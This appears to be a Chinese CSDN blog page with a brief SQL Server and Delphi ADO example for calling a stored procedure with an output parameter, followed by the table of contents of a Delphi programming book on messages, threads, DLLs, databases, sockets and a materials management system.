exec MyABC @a,@b,@c output --注意要添加output 关键字!
select @c

在D中:

  ADOQuery1.Close;
  ADOQuery1.SQL.Clear;
  ADOQuery1.SQL.Add(‘execute MyABC :a,:b,:c output‘);//也要添加output 关键字!
  ADOQuery1.Parameters.ParamByName(‘a‘).Value:=250;
  ADOQuery1.Parameters.ParamByName(‘b‘).Value:=40;
  ADOQuery1.ExecSQL;
  showmessage(ADOQuery1.Parameters.ParamByName(‘c‘).Value); 
基础篇:Delphi深度编程技术 第1章 理解Windows消息 1.1 消息概述 1.2 Windows消息工作机理 1.3 Delphi的VCL消息系统处理原理 1.4 发送消息 1.4.1 Perform() 1.4.2 SendMessage()和PostNessage() 1.4.3 消息的发送 1.5 消息处理 1.6 消息过滤 第2章 进程与线程 2.1 进程与线程 2.1.1 进程概述 2.1.2 进程的直接创建 2.1.3 列举系统打开的进程 2.1.4 线程概述 2.2 进程间通讯(IPC) 2.2.1 利用WM_COPYDATA消息实现进程间通讯 2.2.2 利用内存映射文件实现进程间通讯 2.3 TThread对象 2.3.1 线程的创建 2.3.2 线程的挂起和恢复 2.3.3 线程的终止 2.3.4 与VCL同步 2.4 线程同步 2.4.1 临界区(CriticalSection) 2.4.2 互斥(Mutex) 2.4.3 信号量(Semaphore) 2.5 进程的优先级别 2.5.1 进程的优先级类 2.5.2 相对优先级 2.6 后台多线程数据查询实例 第3章 自定义组件的编写 3.1 组件的基本概念 3.1.1 属性 3.1.2 方法 3.1.3 事件 3.1.4 拥有关系 3.1.5 父子关系 3.2 组件创建实例 3.3 组件的高级技术--属性编辑器和组件编辑器 3.3.1 组件的属性编辑器 3.3.2 组件的组件编辑器 3.3.3 带有属性编辑器和组件编辑器的自定义组件实例 3.4 创建对话框组件 第4章 文件操作 4.1 文件的基本操作 4.1.1 文本文件 4.1.2 有类型文件 4.1.3 INI文件 4.1.4 无类型文件 4.1.5 文件的复制 4.2 内存映射文件 4.2.1 内存映射文件的应甩 4.2.2 映射文件的使用 4.3 内存映射文件的应用 第5章 创建DLL应用程序 5.1 DLL概述 5.2 DLL的创建 5.2.1 DLL项目文件 5.2.2 Exports关键字的使用 5.2.3 DLL中的变量 5.2.4 DLL实例:动态DLL中的窗体 5.3 DLL的调用 5.3.1 静态调用 5.3.2 动态调用 5.4 DLL的入口函数和出口函数 5.4.1 进程/线程的初始化和例程的终止 5.4.2 DLL入口/出口示例 5.5 利用DLL创建插件程序 5.5.1 插件程序的设计思想 5.5.2 插件应用程序的创建 5.5.3 创建调用插件程序的主程序 第6章 两层数据库应用程序 6.1 关系型数据库 6.1.1 关系型数据库概述 6.1.2 结构化查询语言(SQL) 6.2 数据库的连接 6.2.1 基于BDE的数据库连接 6.2.2 基于0DBC的数据库连接 6.2.3 基于AD0的数据库连接技术 6.3 TSession元件 6.4 1 DahBase组件 6.4.1 TDataBase组件的使用 6.4.2 用配置文件动态设置BDE 6.5 数据访问组件 6.5.1 TTable组件 6.5.2 TQuery组件 6.5.3 TStoredProc过程 6.6 数据感知组件 6.7 事务 第7章 多层数据库应用程序 7.1 一个简单的多层应用系统 7.1.1 服务器端应用程序的建立 7.1.2 客户端应用程序的建立 7.2 多层应用系统处理数据的原理 7.2.1 多层应用系统的结构 7.2.2 存取数据的运作原理 7.2.3 更新数据的运作原理 7.3 容错处理和负载平衡 7.4 Active Form 第8章 Socket编程 8.1 WinSock基础 8.1.1 TCP、UDP和IP协议 8.1.2 套接字(Socket) 8.1.3 客户/服务器模式 8.1.4 面向连接的协议套接字的调用 8.1.5 面向无连接协议的套接字的调用 8.2 利用Winsock API实现Socket编程 8.2.1 常用WinSockAPI函数 8.2.2 利用WinSockAPI实现Socket编程 8.3 利用组件实现Socket编程 8.3.1 TClientSocket组件 8.3.2 TServerSocket组件 8.3.3 远程抓屏示例 8.4 通讯中间件的制作 8.4.1 磁盘队列的实现 8.4.2 客户端和服务器端发送接收磁盘队列数据的套接字的建立 8.4.3 中间件的简单应用 第9章 串口编程 9.1 串口通信的基础知识 9.1.1 同步通信和异步通信 9.1.2 波特率和数据传输率 9.2 串口通信API 9.2.1 DCB数据结构 9.2.2 与串口通信相关的函数 9.3 利用API函数创建串口通信示例 9.3.1 发送数据部分设计(向串口写数据) 9.3.2 数据部分设计(从串口读数据) 9.3.3 程序的具体设计和实现 9.4 利用SPC0MM组件实现串口通信编程 9.4.1 SPCOMM组件的安装 9.4.2 SPCOMM组件的属性、方法和事件 9.4.3 利用SPCOMM通讯组件实现串口通讯的实例 应用篇:物资管理信息系统项目应用开发 第10章 物资管理信息系统概述及其总体框架设计 10.1 系统总体结构设计 10.2 物资管理信息系统需求定义和业务流程图 10.2.1 仓储管理 10.2.2 计划管理 10.2.3 合同管理 10.2.4 物资管理系统的业务流程 第11章 物资管理信息系统后台数据库设计 11.1 关系型数据库概述 11.1.1 关系型数据库 11.1.2 物资管理信息系统数据库的建立 11.2 物资管理信息系统数据结构的设计 11.2.1 权限管理数据结构的设计 11.2.2 仓储管理数据结构的设计 11.2.3 计划管理数据结构的设计 11.2.4 合同管理数据结构的设计 11.2.5 基础设置数据结构的设计 第12章 应用服务器实现 12.1 创建应用服务器的实例 12.2 状态区编程 12.3 动态数据库的连接 12.4 远程数据模块的建立 第13章 客户端应用程序的设计 13.1 客户端应用程序系统流程和系统功能 13.1.1 系统流程 13.1.2 系统功能 13.2 构建客户端应用程序框架 第14章 动态连接应用服务器实现 第15章 通用权限管理模块的设计 15.1 系统登录的设计 15.2 权限设计表中数据的维护 第16章 通用查询和报表组件的制作 16.1 通用查询组件的创建 16.2 通用报表模块的制作 第17章 通用基础数据维护模块的设计 17.1 界面设计 17.2 代码实现 17.2.1 以目录树的格式显示部门档案数据 17.2.2 利用目录树导航数据 17.2.3 利用目录树操作数据 17.2.4 按表格的标题排序 17.2.5 打印部门档案 第18章 物资管理信息系统业务操作模块的设计 18.1 数据表的设置 18.2 收料单据主表显示区 18.3 具体的材料明细表显示区 18.4 数据操作区 第19章 综台查询模块的设计 19.1 数据源的设置 19.2 窗体样式设计 19.3 代码实现 19.3.1 查询数据 19.3.2 打印数据 19.3.3 全部浏览
相关推荐
©️2020 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页